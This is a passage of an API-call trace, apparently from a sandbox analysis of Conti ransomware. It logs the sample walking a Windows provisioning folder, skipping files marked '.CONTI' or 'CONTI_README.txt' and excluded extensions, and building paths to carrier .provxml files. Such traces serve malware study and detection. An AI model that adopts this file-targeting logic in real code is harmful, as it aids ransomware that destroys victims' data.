	[0109.007] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="271__C~1.PRO")) returned 1
	[0109.009] lstrcmpiW (lpString1="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.009] lstrcmpiW (lpString1="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.009] StrStrIW (lpFirst="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.009] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.009] lstrlenW (lpString="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.010] GetProcessHeap () returned 0x1720000
	[0109.010] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b72f48
	[0109.010] lstrcpyW (in: lpString1=0x6b72f48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.010] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.010] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.010] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="272__C~1.PRO")) returned 1
	[0109.010] lstrcmpiW (lpString1="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.010] lstrcmpiW (lpString1="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.010] StrStrIW (lpFirst="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.010] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.010] lstrlenW (lpString="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.010] GetProcessHeap () returned 0x1720000
	[0109.010] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6b73f68
	[0109.010] lstrcpyW (in: lpString1=0x6b73f68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.010] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.010] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.010] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="273__C~1.PRO")) returned 1
	[0109.010] lstrcmpiW (lpString1="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.010] lstrcmpiW (lpString1="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.010] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.010] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.010] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.010] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.010] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.011] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.011] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.011] StrStrIW (lpFirst="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.011] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.011] lstrlenW (lpString="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.011] GetProcessHeap () returned 0x1720000
	[0109.011] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x17bce18
	[0109.011] lstrcpyW (in: lpString1=0x17bce18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.011] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.011] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml"
	[0109.011] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", cAlternateFileName="274__C~1.PRO")) returned 1
	[0109.011] lstrcmpiW (lpString1="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.011] lstrcmpiW (lpString1="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.011] StrStrIW (lpFirst="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.011] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.011] lstrlenW (lpString="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml") returned 73
	[0109.011] GetProcessHeap () returned 0x1720000
	[0109.011] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x6b72890
	[0109.011] lstrcpyW (in: lpString1=0x6b72890, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.011] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.012] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml"
	[0109.012] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", cAlternateFileName="275__C~1.PRO")) returned 1
	[0109.012] lstrcmpiW (lpString1="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.012] lstrcmpiW (lpString1="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.012] StrStrIW (lpFirst="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.012] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.012] lstrlenW (lpString="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml") returned 81
	[0109.012] GetProcessHeap () returned 0x1720000
	[0109.012] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x158) returned 0x17c8648
	[0109.012] lstrcpyW (in: lpString1=0x17c8648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.012] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.012] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml"
	[0109.012] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="276__C~1.PRO")) returned 1
	[0109.012] lstrcmpiW (lpString1="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.012] lstrcmpiW (lpString1="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.012] StrStrIW (lpFirst="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.012] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.013] lstrlenW (lpString="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.013] GetProcessHeap () returned 0x1720000
	[0109.013] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b740c0
	[0109.013] lstrcpyW (in: lpString1=0x6b740c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.013] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.013] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.013] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="277__C~1.PRO")) returned 1
	[0109.013] lstrcmpiW (lpString1="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.013] lstrcmpiW (lpString1="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.013] StrStrIW (lpFirst="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.013] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.013] lstrlenW (lpString="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml") returned 70
